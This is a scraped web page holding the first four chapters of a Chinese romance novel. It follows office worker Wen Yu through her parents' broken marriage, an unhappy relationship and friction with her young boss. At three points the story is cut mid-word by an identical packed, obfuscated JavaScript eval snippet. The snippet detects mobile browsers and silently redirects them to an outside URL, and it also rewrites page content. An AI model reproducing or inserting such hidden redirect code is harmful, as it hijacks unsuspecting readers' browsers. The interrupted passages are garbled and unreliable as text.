《玻璃城的一场季风》 1. 第 1 章 文钰回到家,爸爸正在用电脑。天色正暗,屋里合着窗帘,唯独电脑屏幕的光亮着。听到文钰进门,爸爸啪的一下把页面切换。 阿姨不在家里,锅是冷的。于是爸爸去煲汤,没一会儿,父女俩坐在餐桌边用饭,随意闲聊几句。 这样的日子过了几天,爸爸终于显出几分不耐烦,言语中有让文钰离开的意思。文钰是想走的,她对爸爸,怕多过于依赖。 收拾行李的时候,一伙人进来了,其中有妈妈。画面一转,文钰、爸爸、妈妈等一众人就聚集在了客厅。 妈妈拿着一板大屏幕的平板电脑,盯着一片黑的页面中,一缕极光绿线段渐渐延长。这是定位器,线段的延伸代表着某人在某地的移动。 妈妈说:“她受不了你了,肯定离开你了。” 说完,侧头靠倒入叔叔的颈侧。 爸爸烦躁地踱步,像没头苍蝇一样这边走走,那边转转。 叔叔怀抱着妈妈,只笑,不说话。 妈妈放下平板,舒适地收拢了自己的身体,语气里有催促的意味:“快点儿,先把事儿办了!” 她的手往下安抚自己的肚皮,文钰视线顺着下落,看到妈妈隆起的肚子,旁边的爸爸更加烦躁,却不是因为这个肚子,而是阿姨的不告而别。 妈妈说的要办的事,貌似是离婚。不过这个婚离不离,好像都没差别,爸爸早有了阿姨,妈妈也有了叔叔,现在——肚子里还装了新生命。 他们在商量,在争执。文钰像不存在似的,这里的人没人关注她,她轻飘飘地站起来,抱着自己的胸口,一步步挪出门去。 一边走,她一边感觉到脸颊的冰凉。抬手摸了摸,原来她哭了,没有声音,好像也没有知觉,她甚至不知道自己是什么时候开始泪流满面的。 同时,她也觉得丢脸。因为她已经二十几岁了,居然还像个小孩子一样哭。 她偏了偏头,醒了。枕面上冷冰冰、湿答答。转头一看,黑暗中,温于的侧脸看不清晰,但他绵长的呼吸声有规律地传来,他睡得正香。 温于是文钰通过相亲认识的男人,他们的名字很特别,看起来很有缘,在一起几年了呢?文钰转了转迟钝的脑筋,想不起来了。 她不喜欢他,但也不讨厌。于是,顺理成章在一起,也睡在一起。 明天还要上班,文钰闭上眼,逼自己重新入睡。 可半夜醒来再想入睡,对她来说是件难事。她迷迷糊糊觉得自己睡着了,又觉得自己睡得不够沉,似乎耳边还有空调的嗡嗡声,她叹口气,睁开眼。 头顶的日光灯很亮,让她在冷空调下却觉得有一丝热意。有领导在首位发表讲话,长桌子周围坐了一圈同事,她也夹在其中。 她猛地惊醒,原来她在会议室里,刚刚做了一场白日梦。 没有人注意到吧? 文钰抬起眼皮四处逡巡,同事们都在笔记本上唰唰写字,记录得很认真。 她内心里松口气,在笔记本上画了一个大猪头。这场会议和她关系不大,所以她坐在靠末尾的位置。 很快,会议结束了,文钰慢吞吞地收拾、起身。一双手伸过来,细长的食指在她的笔记本上、猪头旁边点了两下。 文钰望过去,潘羡臣高高的影子在日光灯的照射下投到她的脸上,朦胧、灰透。这是不久前的空降兵,她的领导。 但文钰不怕他,因为潘羡臣很年轻,不像刚被调职的那位领导有一股人到中年的爹味,总想着拎着下属的脑袋教育两句;也不像某些打了鸡血的同事,整天卷生卷死。 “……第二次了。” 文钰回神,潘羡臣在对面扬起眉毛,语气有点沉。 “嗯?”她不明白。 “听我讲话很催眠?”潘羡臣凉凉地说,“第一次走神在会议中,还叹气。我哪里讲得不对?” 最后那句明显在讽刺她,她听都没听,哪里说得出哪里不对? “对不起。”文钰咬着唇,低眉顺眼,装出一副认错的模样。 “对不起什么?” 文钰倏忽抬脸往上看一眼,潘羡臣也正在好整以暇地看她。 她已经道歉了,一个拥有着独立办公室的大领导,应该也没必要继续为难她这种小虾米吧?话题应该止步于“对不起”那三个字。 但此时文钰只好继续演戏:“对不起……没仔细听会议内容,没认真记录会议纪要。” “嗯。”潘羡臣点点头,但文钰看不出他这样子是满意了还是没满意。 “今天的会议记录抄三遍。” ? 文钰挑起眉,眼睁睁看着潘羡臣目不斜视地从旁擦过,推开玻璃门走出去,又关上玻璃门消失。 抄三遍? 他当她是小学生? 文钰坐回工位,办公室里的同事们噼里啪啦地敲着键盘,没人注意到她的窘迫。 面前桌上摊开的笔记本里,那个大猪头还在傻乐。她撇撇嘴,无可奈何地把脑袋探到后面叶一诺的工位上。 “小叶,会议记录借我抄一下。” 叶一诺盯着电脑,腾出一手把笔记本递给文钰。 文钰谢过打开,里面画了一条狗,正在拉屎。 文钰:“……” 身后传来叶一诺得逞的笑。 文钰回头幽怨地盯着叶一诺,叶一诺两手搭成喇叭放到嘴边,声音压得很低:“你居然要抄一个临时工的会议记录?天哪!一个多小时的会议,我只觉得领导在便秘,笔记本上都是我有感而发。” 她指了指大便狗,文钰懒得理她,笔记本上唰唰几笔,接着又把本子还给叶一诺。 叶一诺接过一看,大便狗穿上了西服,系上了领带,领带上甚至细节地复刻了定制logo,让人一眼就能认出此狗原型。 叶一诺把大拇指送到文钰面前:“文大师画龙点睛,这幅世界名画我会好好珍藏的。” 下午五点,文钰准时下班。 从单位到家,十来分钟的车程,堵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270824|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车的话要半小时。 半小时后,文钰驾车驶进小区地下车库。熄了火,她没有立刻下车,车载音箱还在播放随机音乐列表里的什么歌,她没听过,但还是想把歌听完。 副驾的奶油泡芙散发出诱人的香气,文钰深吸一口,不知名的音乐恰好在此刻停歇,她准备下车上楼。 温于今日轮休,早做好一桌饭菜等文钰回家享用。有文钰爱吃的红烧排骨和油焖茄子,除此之外还有一素一汤。 很丰盛。 温于人很好,对她也很好。文钰在家从不下厨。但这一桌好菜在温于边吃边对她动手动脚的过程中变得极具目的性,温于又一次把手揽到她的腰上时,她放下筷子腾地起立,坐到了旁边的沙发上。 “我吃饱了。”文钰很淡地说,手拿起遥控器,随意点开某个节目,像在车里随意听歌一样。 温于顿了片刻,才收起所有情绪,也跟着粘过来,手臂固执地圈住文钰,陪着笑:“怎么又生气了?” 文钰视线没从电视节目中挪开,可也根本没在看,她的注意力都在温于的手上。她一声没吭,用两只手和温于的一只手进行两军对垒,进行到最后,温于呼哧呼哧喘着的粗气也贴到了她的脸上,她仍像只挣扎不脱的虫子死死地粘在温于密密织起的蛛网上。 她很累了,可能也有昨晚那个梦的缘故,她一整天都提不起劲儿。她没法应付温于的热情,更没法为他提供之后的情绪价值。 趁温于在厨房洗碗,文钰拎起车钥匙躲进了车里。奶油的气味似乎还未散尽,文钰觉得恶心,大开了车窗,还觉不够,启动了车子快速驶离车库,让微凉的夜风灌进车里。 文钰不知道该开向哪里,这座容纳千万人口的城市,却仿佛没有她一人的容身之处。 她只是凭着记忆在开,等她反应过来,她已经把车停在单位停车场里。她扯了扯嘴角,不知道自己是悲惨还是可笑,这居然是她记忆里最深刻的线路。 停车场里的声控灯暗了,四周静谧。不多时,又依次传来电梯声、脚步声,紧接着声控灯亮了。 潘羡臣从电梯里出来,走得不紧不慢,但步子迈得大,好像转瞬间就到了文钰面前。他加班了,面色难掩疲惫,但这并不使他显得憔悴,反而沉淀出了一些暗含故事的余味。行走带起的阵风把他的西服下摆扬起一角,飒飒风致,让文钰不由自主地想起笔记本上那条狗—— 画技不精,还是不像,狗丑,人帅。 在文钰把本子里的狗和眼前的人进行了一番品评后,她终于意识到,潘羡臣正向着她越走越近。 趁那边的视线投过来前,文钰迅速把头埋进方向盘里,用鸵鸟的形态试图躲避那边锐利的目光。 文钰不作声,四周又变得安静,脚步声消失了。紧接着,咚咚两声,她的车窗被叩响了。 那一刻,文钰脑袋里的第一个念头:笔记本里的猪和狗,应该撕掉,销毁罪证。 第二个念头:完了,三遍罚抄,她一共抄了0遍。 2. 第 2 章 大概是见鸵鸟文钰没反应,车窗再次被叩响了。伴随着“咚咚”声,外面的人亲切地问:“小文吧?我看你五点下班了呀,怎么又回来?天都黑了,还要来加班呀?” “啊……陶师傅啊……” 文钰抬起头,洁白的额头上因按压浮现一抹红,眼珠子转了转,目光在车外寻找。 “快回家吧,小姑娘不要那么拼命嘛……” 文钰干笑两声,当作对陶师傅的回应。目光终于捕捉到那抹黑色的人影,潘羡臣根本没在意这边的动静,走到另一侧的拐角,宽阔的背影塞进车里,启车离开。 文钰行注目礼,视线追随着这辆黑色大众从拐角转出,从她车前路过,从停车场彻底消失。 大众旧了,爬坡上行的时候,车身吭哧吭哧地颤抖,像个行将就木的老头子。车门沾了干泥灰,诉说着它曾经驶过的糟糕路况。 官挺大的,车很朴素。 “……那是潘总吧?”陶师傅眯着眼睛,目送大众离开。 “是吧。”文钰不想多聊,也启动了车子。 “又加班到现在啊……现在的年轻人都很有干劲的嘛!” 陶师傅回过头,又嘱咐文钰:“赶紧回家吧小文,路上注意安全啊!我也得继续去巡逻了!” 文钰到家的时候,家里一片漆黑。 卧室的床上拱起长长的隆起。温于睡了。 文钰轻手轻脚地走过去,小心翼翼地掀起另一边被角,刚坐下床沿,身后传来声音:“你妈叫我们周六去家一趟,朋友聚会。”停顿了一会儿,他又补充:“你手机没带出去,电话我接的。” “哦。” 文钰躺下来,背对着身后的男人。 好一会儿过去,温于问:“你去哪儿了?” “乱转。” “……” 又好一会儿,文钰听到温于从鼻子里哼出一声,代表他的嘲讽:“就为了躲我。” 文钰不想就这个话题和他多聊。 卧室里安静下来,中央空调不知疲倦地工作着,嗡嗡的低鸣像助眠的白噪音,文钰眼皮子越来越沉,几乎快要昏睡过去——直到那条有力的手臂攀附上来。 文钰唰地睁眼。 “我不想做。” 抚摸的手掌停了停,温于正在忍耐着晚饭以来到现在的怒火:“你什么时候想做过?” 文钰沉默。 温于也沉默。手臂猛地抽回,人也离开了床。接着卧室门被温于甩得很响。 文钰闭了闭眼,她毫不关心温于去了哪儿、今晚怎么睡,但她内心还是涌出一丝烦躁。温于是好脾气,但偶尔生一次闷气也很不好哄。周六的朋友聚会他大概不会去了,文钰一人前往的话,妈妈一定会追问她温于怎么不来。 想到这里,文钰疲惫地叹气。 如果可以,她也不想回去。 因为这件事,她情绪一直很低迷,上班的时候也是无精打采。叶一诺用笔戳了戳她的后背:“看手机。” 微信里一大堆群消息和私人消息,文钰率先点开和叶一诺的私人对话框。 千金:群里的噩耗看见没?周六又要不带薪加班。 文钰切换到工作群。工会主席在群里发了一大堆消息,包括周六团建的文件、动员的通知、农家乐的地址定位以及最后一句温柔的威胁:务必全员参加,原则上不允许请假![玫瑰花][玫瑰花][玫瑰花] 文钰转头就去和分管她的主管彭雁请假。 文小钰:雁姐,周六我家里有事,申请请假一下哦。[可爱] 雁过留声:和我请没用,去潘总那儿请。 咔嚓一声,文钰把截图发给叶一诺,后面跟了个“?”。 千金:哇,姐妹你好big胆,居然敢请假。 千金:现在请假制度改了,以前一日假雁姐直接批,现在不行,得潘总同意,还要走钉钉,抄送领导。不然你以为第一个敢请假的人会是你? 千金:潘狗就是潘狗!亏我还觉得他刚出场的时候辣么帅!我眼瞎!他当狗! 文小钰:…… 文小钰:好了好了,你不要无能狂怒了。 哧溜——叶一诺凳子一滑,半个身子侧出工位,看了眼前面文钰的背影,又哧溜一下滑回去,手指头在手机键盘上快敲得冒烟:看你英勇的背影,你打算……? 片刻后,对面甩来一张截图。 文小钰:潘总,周六我要请假。 潘羡臣还没有回复。他在15楼开领导班子的会议。会议结束后,人群鱼贯而出,严总招手留他,他跟着严总去办公室。 这里的视野很好,高透的玻璃窗可以切换成过滤紫外线的模式,但现在没有。旭日的光晖完全透射进来,安静地铺在哑光的木地板上,人站在这个位置俯瞰江景,会油然生出惬意舒适的优越感。 长长的红木办公桌整洁、有序,桌沿居中的位置摆着水晶名牌:严致闻。 严致闻用一整套价值不菲的功夫茶具给潘羡臣泡茶,潘羡臣静静坐在严致闻对面,不刻意吹捧,也不感觉局促。短暂的静谧在老总办公室内流淌,两个人都习惯这种氛围,体现出他们不浅的交情。 “你爸爸最近身体怎么样?”严致闻倒了一小杯,递给眼前的小辈。 “迷上钓鱼,三天两头见不到人。” 严致闻爽朗地笑起来:“挺好,人老了还有个爱好,挺好。” 潘羡臣说:“家里有套茶具,别人送的,我妈特意交代:‘必须给严叔叔送去。’过两天,我上门一趟,给送过来?” “你妈妈太客气了,”严致闻笑笑,又替潘羡臣倒了一杯,“你人随时来,东西不必带。” 潘羡臣没应这句,茶具他一定会送到。潘严两家关系密切,东西你来我往地送,严致闻刚刚只是客气。 “芊芊快放假了,等她回国,你们俩聚聚。” “好。” “哎,时间真快。感觉昨天芊芊还是个小丫头,跟在你屁股后面’哥哥哥哥’地叫,要你带她去玩。现在呢,你俩都是大人了,都到了该谈朋友的年纪。” 潘羡臣在严致闻那里坐了半个多小时,回自己办公室后,才看到文钰发来的微信消息。 潘羡臣:理由? 不知道对面是不是就等在手机旁边,他刚放下手机没两秒,微信又震动一下。 文小钰:我生病了。 潘羡臣:什么病? 文钰翻了个白眼,她发现了,这位潘总很爱追根究底,从“对不起什么?”到“什么病?”,句句都没放过她。 文钰思考着,不想自己咒自己,于是选:感冒了。 潘羡臣:小感冒吃点药,很快好,克服一下。 文小钰:我不仅感冒,还发烧了,头晕晕的,需要静养。 “怎么样怎么样?成功没?”叶一诺八卦地问。 文钰直接把手机屏幕展示给她看,又过去近半小时,潘羡臣没有回复她。 不过在文钰这里,没有回复等于默认。周五下午,文钰速度溜了。值岗亭的陶师傅依旧热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270825|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情和她打招呼,她也点头回个笑,车子往爸妈家的方向开去。 这里是别墅群,闲人不多,于是显得空旷;绿化很足,因此又显出几分盎然野趣。 铁艺大门图案精美,镂空之处映衬出别墅前的那片小花园,妈妈热爱养花,月季、牵牛、绣球、蝴蝶兰、三角梅,还有一些文钰说不出名字的花,随着季节不同,在小花园里竞相怒放。 这是妈妈为数不多的乐趣,文钰很支持。也只有在种花养花时,妈妈才会忘掉烦心事,滔滔不绝地和文钰介绍这介绍那。文钰这才有喘息的机遇,她的情绪很复杂,企盼亲眼见证妈妈的快乐,也迫不及待想忘掉她。 文钰的心怦怦跳,总算推开铁艺门进去。 妈妈不在家。爸爸好像也不在,但这也不稀奇,爸爸总是不在。 文钰惴惴的心暂且落下,她站在宽敞的客厅左右顾盼,和上次离开家的时候一样,妈妈钟爱的多肉整齐地排在落地窗前晒太阳,爸爸的报纸随意地丢在红木躺椅上,是普通的家中一景,但就好像父母之间的距离一样,多肉和报纸的距离也隔着一整个客厅,那么遥远。 文钰把这些想法甩出脑袋,偷来的安闲她不想用来想东想西。她在舒服的沙发里陷落,思考该怎么完美回答妈妈接下来可能的提问。 她的目光落在不远处一个铁桶上。这个铁桶是妈妈用来装花泥的工具,桶身上有个明显的凹痕,在光影下反射出不一样的光和色。那个时候,妈妈仿佛是用尽力气踹上去的,所以装满了泥的铁桶明明很沉,却依然被踹出一道痕迹。 文钰的记忆还很清楚,妈妈破口大骂:“你爸爸这个花心鬼,找了一个两个还不够!……狐狸精!臭婊子!……都看上你爸的钱,他还以为自己很抢手!……” 文钰无措地站在一旁,心跳极快。不知过去多久,妈妈总算发泄完毕,文钰走近她,鼻子一酸,带着哭腔说:“你和他离婚吧。” 妈妈发红的眼圈像恶魔的陷阱,怒视而来的时候很吓人。 “天底下哪有你这样的女儿?!竟然劝自己的父母离婚!”妈妈似乎找到了新的矛头,文钰是她新的靶子,“离婚?想都不要想!我们夫妇辛苦赚来的钱,就这么便宜那些小三小四?做梦去吧!我就拖着,就这么拖着!” 文钰被刺痛了,很难过,也很委屈。她说:“妈妈,我只希望你快乐一点。” 妈妈愣了一下,声音里的尖酸刻薄如烟消散,也带上哭腔:“小钰,妈妈也只希望你快乐。” 可是,妈妈这副样子,她怎么会快乐? 文钰低下头,妈妈的手伸过来,摸她的头发,摸她的脸颊。妈妈的哭腔难以压制,排山倒海一般压倒文钰:“你千万不要像妈妈一样,找了这么个男人,一辈子都不开心。你一定要找个对你好的,爱你的,结婚好好过日子。” “……” “那个温于怎么样?你们相处有段时间了,可以定下来了吧?” “……” “妈妈觉得他还不错的,人很温和,脾气很好,对你也很好。和这样的男人过日子,你会幸福的。” “你们定下来吧。” “这样妈妈也就安心了。” “妈妈就希望你幸福、快乐。” “就这个吧,别再挑了。温于挺好的。” “就温于吧。” “就他吧。” …… 文钰的眼眶热热的,湿湿的。她的眼睛重新聚焦,依旧盯着铁桶上那个凹痕。 门开,门关。妈妈回来了。 3. 第 3 章 周六的朋友聚会,在小花园和顶楼露台举行。来的人都是妈妈多年的好友,各行各业,都是人精。大部分是同学,也有聊得来的同事,因为妈妈,大家聚在一起,荤素不忌,无话不谈。 妈妈总是很热情,去了一个新地点,和陌生人聊两句,就能交到新朋友。这些朋友往往和妈妈性格相似,总爱哈哈地乐,见到漂亮的小文钰,会捏捏她的小脸蛋,逗她两句。现在文钰已经是个成年人了,这些叔叔阿姨还把她当成小孩子,现做的冰糖葫芦递给她,哄她:“小钰,很甜很甜,拿去吃。” 文钰捧着手机笑:“谢谢阿姨,我不吃。” “哎哟,以前的小钰拿不到柜子顶的糖,用头去撞柜子咧!咚一下!脑袋上一个大包!糖没撞下来,口水先流下来了!” 一群叔叔阿姨笑得更欢了,文钰波澜不惊地陪笑。妈妈以前讲的笑话,他们到现在还念念不忘。这是有她在时的固定节目,她习以为常。 “不吃糖葫芦,那去楼顶吃烧烤!李叔叔牌烧烤,你最爱吃了。” “对的咧!为了吃李叔叔的烧烤,前一天不吃晚饭,妈妈打了好几下屁股,你才吃两口。第二天饿疯了,一个小孩子,吃得比大人还多,肚子比李叔叔还大!” 又笑作一团。 文钰从露营椅上站起来,面色如常:“拜拜!不和你们说话了。” 背后笑声渐歇,文钰一边爬楼梯,一边聊微信:小叶,有些大人,真的很没有分寸感! 千金:你不要转移话题!现在是批斗你胆敢真的丢下我不来团建的宝贵时间! 文小钰:嘿嘿。 文小钰:有没有人在说我请假的事? 千金:你没那么重要! 千金:除了我,甚至没有人发现你不见了! 千金:哦不对,还有一个人在找你。[奸笑] 千金:要不你猜猜是谁呢?[奸笑][奸笑][奸笑] 文钰按熄手机屏幕,打算晾一会儿叶一诺,否则这个女人会骑到她头顶拉屎。文钰没上露台,折身去了二楼的书房,书房旁边是卫生间,没过一会儿,有两个阿姨边聊边来上厕所。 “芸啊,一会儿我就先走了啊,我家老张出差回家,没人做饭。” 妈妈也在。 “哎呀,你管老张管那么好的咧,这边有吃有喝要走,赶回去给男人做饭!”另一个阿姨酸溜溜地说。 “老张有胃病的啦,不好饿着的。”后面半句是对文钰妈妈说的,“芸,我反正先跟你请假了啊,批准一下。” 妈妈回:“好的好的,批准了。” 酸溜溜的阿姨说:“都是恩爱的夫妻咧!一个你,一个虞仙芸。” “那我们没有虞仙芸夫妇俩恩爱的,对吧,芸?今天老文不在场,可惜的。” “老文刚好有事。”妈妈的声音被卫生间的门挡住一些,三个女人一起进去。文钰控制不住地竖耳倾听,妈妈的声音闷闷地传来:“下次吧,下次。下次我让老文亲自给你道歉,再陪你家老张下棋。” “老文真听你的话!道歉不必了啊,你告诉他,不要心里只装着老婆,忘了我们这些老闺蜜。” 笑声萦绕在卫生间里,隔着玻璃门,仿佛笼上了一层朦胧的虚假。 …… “妈妈,你和你的好朋友诉说呀,说出来会感觉好一点。” “有毛病啊你?这种事情到处乱说?以后人家家里吃饭的时候,光讲你妈的笑话就好了!” …… 文钰忽然什么心情都没有了,随手把手机塞进衣袋,扭身离开这片不真实的繁荣。 她在家附近转悠,路过遛狗的中年妇女、骑行的年轻男人、拎着菜篮子不知道要去哪家做饭的保姆阿姨。文钰漫无目的地转,走出了这片别墅群,踏上了挂满蓝雪花的阴凉小路。 这是别墅群的外围墙,大片大片的蓝雪花从围墙倾泻而下,瀑布似的铺满了人的眼睛。小路另一边是其他别墅群,用波特兰石围墙作为隔断,与铺天盖地的蓝雪花不同,显现出低调的奢侈和冷淡的秩序。 午后的风是热情的,呼呼吹拂着文钰耳旁的碎发。她走了一路,微微出汗,这使她的脸色看起来红润健康,光照下薄汗熠熠发光,像被海浪冲上礁石的人鱼,它们迷人的鳞片也是这样吸引着路过人的眼光。 微信电话响起来——叶一诺自言自语了许久,都石沉大海,一怒之下就给文钰打语音。 从波特兰石围墙里开出来的车离她渐近,她一边接听一边往旁边躲。伴随着叶一诺气急败坏的大吼大叫,那辆车从文钰手臂边擦过,车窗降下,露出一张熟悉的脸。 随着汽车停下,叶一诺的声音也戛然而止,是为了制造一些故意中断的悬念。又随着潘羡臣的眼神里流露出抓住人把柄的了然,叶一诺大喊:“现在就由我来给你揭秘吧!没错,另一个在找你的人,就是潘狗!潘狗!” 文钰:“……” 谢谢你,叶一诺,你还可以再大声一点。 文钰内心里在下冷汗,但神情还算淡定。她先挂掉叶一诺的微信电话,假装刚刚什么也没有发生,然后去观察潘羡臣的表情,潘羡臣比她还淡定一些,只有微微上挑的眉尾是整张脸泄漏情绪的部位。 “好巧。” 文钰扬手打招呼。 潘羡臣把手臂搁在车窗沿,半个身体微微探出,眼神上下打量着她,然后笑了一声。 “发烧?头晕?要静养?” 潘羡臣的目光故意在文钰红扑扑的脸蛋和饱满湿润的嘴唇上停留,他惊讶地想:天下竟然有这样面不改色的女骗子。 文钰扮出不好意思的神态,移开视线,不看潘羡臣的眼:“你说得对,小感冒吃点药,好得快。上午睡醒后,下午我就好多了。” 潘羡臣觉得真好笑,当着他的面,还在行骗。 文钰转移话题:“你怎么也没去啊?领导。” 潘羡臣收回半副身体,让车内的冷气吹在脸上,也吹散一点夏日的燥热。他修长的手指在车窗沿点啊点啊,像弹钢琴,也像层层波浪,荡漾在两人之间。 他去了单位的团建,但中途离场了。现在到这边来,是为了把茶具送到严致闻的家里。不过这些是他的私事,他没必要和他的下属说。望着文钰额角闪光的碎汗珠,潘羡臣说:“因为我是领导。” “……” 文钰笑着点点头,她的微信电话又响了,看一眼,叶一诺,挂断。没一会儿,又响起,挂断。叮咚叮咚——叶一诺一怒之下连发三遍:为什么呱我电话?! 呱。呱。挂。 急得她第三遍才发对。 文钰也想趁早离开这是非之地,把笑堆到脸上,微微朝潘羡臣鞠了下躬:“那我就不打扰你了,潘总。” 叶一诺执着地打电话。 潘羡臣瞥了眼她的手机,她把手机举到胸口的位置,看架势,等他一走,她就打算大讲特讲。 文钰催他:“再见,潘总。” 潘羡臣笑着,盯着她有点着急的模样,就是没有走的意思:“潘总?不是潘狗吗?” 文钰:“……” 他听到了!还问出来了! 文钰硬着头皮答:“你听错了,潘总。” “那本来说的是什么?” “……没有在说你,我和朋友打电话,和你无关吧……” 好一个和他无关。潘羡臣看着文钰死不承认的脸,被气笑了。 “会议记录呢?” 人在生气的时候就是会失去理智。潘羡臣承认,他现在就是恶意的,报复的,想搞她的。 文钰一下子没反应过来,潘羡臣小气地提醒:“抄三遍。” “……哦,那个。” “那天我一直在等你。”潘羡臣故意说。他一直在观察文钰的神色,同时在思考文钰没把会议记录交给他的原因。她不敢?那天他很忙,同事们在他的办公室来来去去,她可能根本找不到交记录的时机。一直到天色完全黑了,他才把事情忙完。他没空去管抄记录的事,甚至根本忘了这回事。 “我忘记交了,潘总。对不起。” 意料之内的答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270826|182287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案。 潘羡臣审视地扫过文钰的脸,接着点点头,准备离开。他一边关窗一边说:“下周一,来我办公室一趟。带上会议记录。” 等大众跑得没影儿,文钰找同事救急:[王哥,你的会议记录,拍张照给我好吗?] 文钰回到家,温于还没下班。二十分钟前,温于给她发微信,说临时加班,迟回,勿等。文钰给自己简单地弄了点儿吃的,就着平板下饭。 晚上忽然下雨,电闪雷鸣之下,道路上蜗行牛步的车已经堵了半天。窗玻璃被淋个干净,连日的日晒带来的灰蒙蒙被这一场雷暴洗得彻底。 洗完碗,文钰放着电影,侧目看了看窗外的风雨,房屋内这种暗暗的光线和舒适的温湿度给了她浓浓的自在感。 其实就这样,也很好。 妈妈给她打电话,关心她的吃饭问题,又提醒她关好门窗。然后才问起温于。 “他在加班。” “还没回?他吃饭了吗?” 文钰不知道,那条温于说加班的消息,她都没回。 妈妈叹了口气,教育她:“你现在就给温于打个电话,关心一下他。问他吃饭了没、什么时候回家。” 文钰不情愿这么做,但还是答应了妈妈。她赤脚走到窗边,惨白的闪电在玻璃上映出她没有情绪的脸。妈妈在电话里忧心忡忡地唠叨,终于发觉文钰很久没吭声,她停下来,叫文钰的名字。 “……嗯。”文钰有气无力地应。 妈妈听出女儿没有兴致,烦闷的感觉像潮湿的雨气一样在静谧的空气中无声蔓延。 “妈妈给你打个电话,你就这种态度?我刚刚说的话哪句不对了?让你关心温于有什么错?让你打电话也是在查岗,否则你怎么知道他真的在加班,还是去干别的事了?妈妈会害你吗?不还是为了你的幸福!” 话说到后面,语气越来越冲,像自燃的爆竹,砰的一下就炸开了。虞仙芸挂了电话,让最后的责骂和绑架久久萦绕在文钰的耳边,枷锁一样困住她。 她站着没动,只是吸了下鼻子。刚刚难得的自在感消失得一干二净,她其实是想哭的,但是鼻子酸了一阵,所有的湿意又缓慢退去,只剩下荒芜的感觉。 周一依然是雨天,从雷雨转为淅淅沥沥的连绵小雨。空气又湿又闷,四周像有无形的水墙,压得文钰喘不过气。 她刚进办公室,彭雁就把她叫过去。 “你怎么惹到潘总了?他想把你调到别的部门去。” “……啊?” 彭雁皱了皱眉,说:“周六,潘总打我电话,问你的事。他觉得你一考进来就在本部门没动过,想把你调走去轮岗,说要历练你,培养你。” “……” 彭雁嗤一声:“什么培养啊,我还听不出来?他不喜欢你,想把你赶走。” “……” “你呢?你怎么想的?”彭雁转了转椅子,滑轮在地上嘎吱一声,很利落,和她的行事风格一样。 文钰真诚地说:“我不想走,雁姐。” 彭雁点点头,她也是这个意思。文钰985高材生,聪明、能干、漂亮。有人找过她报告文钰每天准点下班,一分一秒也不多在工位上燃烧,彭雁反问:“你是想说你每天在单位多待半小时才能干完一天的工作?你还不如文钰。” 现在得知文钰的意愿,她就觉得自己在电话里和潘羡臣说的话没错—— “潘总,文钰在我手下几年,从不犯错,有些工作甚至完成得比老员工精彩。你想调走她,我不同意。如果你愿意的话,请给她一个机会。下周的招商会,我打算带她。” 彭雁看着这个自己一手带起来的姑娘,有话向来直说:“我很好奇,潘总到底觉得你哪里有问题?” 文钰避重就轻地挑了一个原因:“可能因为我上次团建没去吧。” 彭雁点点头,没继续追问。 文钰不知道老道的彭雁相信了多少,但开会画猪、团建装病、背地骂狗,都是她不能说的秘密。彭雁挥挥手,让她现在就去潘羡臣的办公室报到。 4. 第 4 章 潘羡臣在敲电脑,门敲响后,他看了一眼。没有他的允许,文钰站在他办公室门前,不往里走。 她静静地等待,同时也在观察他。可能因为在使用电脑,潘羡臣戴着一副半框眼镜,镜片的反光和黑色的半框遮盖了些许他的气势,使他显得文质彬彬,甚至有一点大学生的味道。 他很专注于自己的事情,脸庞被电脑遮住一半,声音悠悠传来:“门神,进来。” “好的。” 文钰礼貌地轻手关门,想了想,又把门敞开,然后才找了会客的沙发坐下。 这个细节潘羡臣用余光注意到了,嘴角勾了一下,意味不明。 等潘羡臣忙完,文钰又很有眼色地坐到他办公桌对面的椅子上去,正式打招呼:“潘总。” 她双手捏着笔记本,上面是抄了三遍的会议记录,工整地放到潘羡臣桌上。 “我对你印象不好。”潘羡臣开门见山地说,“开会走神、团建不去,我认为你是一个不求上进的人,我不需要这样的人。” 文钰稍微坐直了一点身子,与潘羡臣几次交锋,这是他们第一次如此正式。 潘羡臣继续说:“我打算调走你,但你的主管彭雁向我保你。彭雁是很直接的人,因此我给她一个面子,也给你一个机会。” 文钰抿唇。彭雁在单位的时间比潘羡臣长,年纪比潘羡臣大,平时,他们几个同事都称呼彭雁“雁姐”。但潘羡臣对彭雁的称呼、话里的语气,全显露着他和彭雁上下级泾渭分明的关系。 他看起来年纪轻轻,但完全不怯、不卑。 文钰默默在心里修改了对潘羡臣的感受和评价:她不应该不怕他,应该敬畏他。 “好的,谢谢潘总。” 